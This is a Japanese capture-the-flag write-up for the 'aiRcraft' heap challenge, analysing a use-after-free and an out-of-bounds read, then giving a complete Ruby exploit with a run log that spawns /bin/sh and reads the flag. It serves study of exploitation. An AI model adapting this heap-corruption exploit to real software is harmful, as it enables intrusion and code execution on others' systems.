Your choice: 

飛行機と空港を管理するプログラム。

まずは下調べ。

$ file aiRcraft
aiRcraft: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8597b2bb97a5f0ffd55603a10b55629eabebfa6, stripped

$ checksec --file aiRcraft
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   aiRcraft

主な仕様はこんな感じ。

  • 1. Buy a new plane
    • 新しい飛行機を買う
    • メーカー(4択)と飛行機の名前を決められるが、メーカー選択時にチェックが全くなく、out-of-bounds readができる
    • 飛行機用の構造体Planeは関数ポインタを持っている
    • 買った飛行機は双方向リストに登録される
  • 2. Build a new airport
    • 新しい空港を買う
    • 空港の名前を決められる
    • 買った空港はグローバル変数の配列に登録される
    • 空港は名前の他に、その空港に停留している飛行機への参照を持つ配列も持っている
  • 3. Enter a airport
    • 空港を1つ選んでサブメニューに入る
      • 1. List all the plane
        • その空港に停留している飛行機の情報を出力する
      • 2. Sell the airport
        • その空港に停留している飛行機をすべて双方向リストから削除→freeした後、空港もfreeする
        • グローバル変数の配列に空港への参照が残ったままになっている
  • 4. Select a plane
    • 飛行機を1つ選んでサブメニューに入る
      • 1. Fly to another airport
        • 指定した空港に移動し、移動先の空港が持つ配列に自身の参照を登録する
      • 2. Sell the plane
        • 飛行機を双方向リストから削除した後、自身の持つ関数ポインタ(自分をfreeするだけ)を呼ぶ

UAFにより、偽の空港に偽の飛行機を停留させて空港ごと売る、と好き勝手できるようになるのでがんばる(雑)。

最終的にはチャンク同士の領域を重複させることによって既存のPlaneの関数ポインタを上書きできれば勝ち。

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "aircraft.2017.teamrois.cn"
  port = 9731
  libc_offset = {
    "main_arena" => 0x3c3b20,
    "system" => 0x45390
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "main_arena" => 0x3c3b20,
    "system" => 0x45390
  }
end

offset = {
  "finalize_plane" => 0xb7d
}

class PwnTube
  def recv_until_prompt
    recv_until("Your choice: ")
  end
end

def tube
  @tube
end

def buy_plane(company, name)
  tube.recv_until_prompt
  tube.sendline("1")
  tube.recv_until_prompt
  tube.sendline("#{company}")
  tube.recv_until("Input the plane's name: ")
  tube.send(name)
end

def build_airport(length, name)
  tube.recv_until_prompt
  tube.sendline("2")
  tube.recv_until("How long is the airport's name? ")
  tube.sendline("#{length}")
  tube.recv_until("Please input the name: ")
  tube.send(name)
end

def select_airport(index)
  tube.recv_until_prompt
  tube.sendline("3")
  tube.recv_until("Which airport do you want to choose? ")
  tube.sendline("#{index}")
end

def select_plane(name)
  tube.recv_until_prompt
  tube.sendline("4")
  tube.recv_until("Which plane do you want to choose? ")
  tube.send(name)
end

def list_planes
  tube.recv_until_prompt
  tube.sendline("1")
end

def sell_airport
  tube.recv_until_prompt
  tube.sendline("2")
end

def fly(index)
  tube.recv_until_prompt
  tube.sendline("1")
  tube.recv_until("which airport do you want to fly? ")
  tube.sendline("#{index}")
end

def sell_plane
  tube.recv_until_prompt
  tube.sendline("2")
end

def go_to_mainmenu
  tube.recv_until_prompt
  tube.sendline("3")
end

PwnTube.open(host, port){|t|
  @tube = t

  puts "[*] leak heap base"
  build_airport(0x18, "A" * 0x18)
  buy_plane(13, "1\n")
  select_plane("1\n")
  fly(0)
  go_to_mainmenu
  select_airport(0)
  list_planes
  heap_base = tube.recv_capture(/Build by (.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - 0xa0
  puts "heap base = 0x%x" % heap_base

  puts "[*] leak libc base and PIE base via UAF"
  go_to_mainmenu
  build_airport(0x18, "A" * 0x18)
  payload = ""
  payload << "A" * 32  # name
  payload << [heap_base + 0x100].pack("Q")  # company
  payload << [heap_base + 0x110].pack("Q")  # airport
  build_airport(payload.length, payload)
  select_airport(0)
  sell_airport
  select_airport(1)
  sell_airport
  select_airport(2)
  sell_airport
  payload = ""
  payload << [heap_base + 0x1c0].pack("Q")  # name
  payload << [heap_base + 0x250].pack("Q")  # fake plane
  build_airport(0x88, payload.ljust(0x88, "\0"))
  buy_plane(1, "2\n")
  select_airport(1)
  list_planes
  pie_base = tube.recv_capture(/Build by (.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - offset["finalize_plane"]
  libc_base = tube.recv_capture(/Docked at: (.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x58
  puts "libc base = 0x%x" % libc_base
  puts "PIE base = 0x%x" % pie_base

  puts "[*] create fake chunks and free them"
  go_to_mainmenu
  payload = ""
  payload << [0, 0x151].pack("Q*")
  payload << "A" * 32  # name
  payload << [0].pack("Q")  # company
  payload << [0].pack("Q")  # airport
  payload << [heap_base + 0x2a0].pack("Q")  # prev
  payload << [heap_base + 0x2a0].pack("Q")  # next
  payload << [0].pack("Q")  # finalize
  build_airport(payload.length, payload)
  build_airport(0x18, "A" * 0x18)
  select_airport(3)
  sell_airport
  select_airport(4)
  sell_airport
  payload = ""
  payload << [0].pack("Q")  # name
  payload << [heap_base + 0x2a0].pack("Q")  # fake plane 1
  build_airport(0x88, payload.ljust(0x88, "\0"))
  buy_plane(1, "3\n")
  select_airport(2)
  sell_airport

  puts "[*] overwrite existing plane"
  build_airport(0x18, "A" * 0x18)
  payload = ""
  payload << [0].pack("Q") * 10
  payload << "/bin/sh".ljust(32, "\0")  # name
  payload << [0].pack("Q")  # company
  payload << [0].pack("Q")  # airport
  payload << [heap_base + 0xc0].pack("Q")  # prev
  payload << [0].pack("Q")  # next
  payload << [libc_base + libc_offset["system"]].pack("Q")
  build_airport(payload.length, payload)

  puts "[*] launch shell"
  select_plane("/bin/sh\n")
  sell_plane

  tube.interactive
}
$ ruby aircraft.rb r
[*] connected
[*] leak heap base
heap base = 0x561b85a55000
[*] leak libc base and PIE base via UAF
libc base = 0x7f456061e000
PIE base = 0x561b849f7000
[*] create fake chunks and free them
[*] overwrite existing plane
[*] launch shell
[*] interactive mode
pwd
/
ls -la
total 56
drwxr-x--- 17 0 1000  4096 May 20 21:17 .
drwxr-x--- 17 0 1000  4096 May 20 21:17 ..
-rwxr-x---  1 0 1000   220 Aug 31  2015 .bash_logout
-rwxr-x---  1 0 1000  3771 Aug 31  2015 .bashrc
-rwxr-x---  1 0 1000   655 Jun 24  2016 .profile
-rwxr-x---  1 0 1000 10264 May 20 21:15 aiRcraft
drwxr-xr-x  2 0    0  4096 May 20 21:17 bin
drwxr-xr-x  2 0    0  4096 May 20 21:17 dev
-rwxr-----  1 0 1000    32 May 14 11:24 flag
drwxr-xr-x 27 0    0  4096 May 20 21:17 lib
drwxr-xr-x  3 0    0  4096 May 20 21:17 lib32
drwxr-xr-x  2 0    0  4096 May 20 21:17 lib64
cat flag
RCTF{H4v3_4_g00d_tr1p_w1th_lul}
exit
what do you want to do?
1. Buy a new plane
2. Build a new airport
3. Enter a airport
4. Select a plane
5. Exit
Your choice: 5
[*] end interactive mode
[*] connection closed

FLAG: RCTF{H4v3_4_g00d_tr1p_w1th_lul}